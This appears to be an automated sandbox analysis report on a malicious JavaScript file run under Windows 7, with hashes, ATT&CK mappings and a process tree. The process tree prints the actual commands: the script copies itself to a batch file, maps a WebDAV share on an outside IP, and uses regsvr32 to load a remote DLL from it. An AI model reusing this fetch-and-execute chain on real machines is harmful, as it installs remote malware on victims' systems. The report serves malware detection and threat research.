514b301bc05fc665f47cdb0fd2dd151644292a0f3aa44e63a180836bc1378a4e

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 00:01

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General

Target

48123634189529788.js
Size

5KB
MD5

b141aed8f30eb72d7d49211460168461
SHA1

21b88694a2a5394ae6025e759d30ee0f1ff9804d
SHA256

514b301bc05fc665f47cdb0fd2dd151644292a0f3aa44e63a180836bc1378a4e
SHA512

35039b8b75453e98e03efa72c4219c4782caf6bb289edae42eac88578a56a10efe3f0edb048f1d7f3153797af1537d806ad5d265f72db18ab19d578a7fa88852
SSDEEP

96:rAvWFm3N8ZR+LJJDLJWOFWOuO9J09iT6l4NkWBuuvhXkWJUkijmh388UHe0N20W5:EucsoJJHJW+UuCqNFkg

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2820	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2984 wrote to memory of 2072	2984	wscript.exe	31
PID 2984 wrote to memory of 2072	2984	wscript.exe	31
PID 2984 wrote to memory of 2072	2984	wscript.exe	31
PID 2072 wrote to memory of 2728	2072	cmd.exe	33
PID 2072 wrote to memory of 2728	2072	cmd.exe	33
PID 2072 wrote to memory of 2728	2072	cmd.exe	33
PID 2072 wrote to memory of 2820	2072	cmd.exe	34
PID 2072 wrote to memory of 2820	2072	cmd.exe	34
PID 2072 wrote to memory of 2820	2072	cmd.exe	34
PID 2072 wrote to memory of 2820	2072	cmd.exe	34
PID 2072 wrote to memory of 2820	2072	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\48123634189529788.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\48123634189529788.js" "C:\Users\Admin\\sajraj.bat" && "C:\Users\Admin\\sajraj.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2728
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\591.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\sajraj.bat

Filesize
5KB

MD5
b141aed8f30eb72d7d49211460168461

SHA1
21b88694a2a5394ae6025e759d30ee0f1ff9804d

SHA256
514b301bc05fc665f47cdb0fd2dd151644292a0f3aa44e63a180836bc1378a4e

SHA512
35039b8b75453e98e03efa72c4219c4782caf6bb289edae42eac88578a56a10efe3f0edb048f1d7f3153797af1537d806ad5d265f72db18ab19d578a7fa88852

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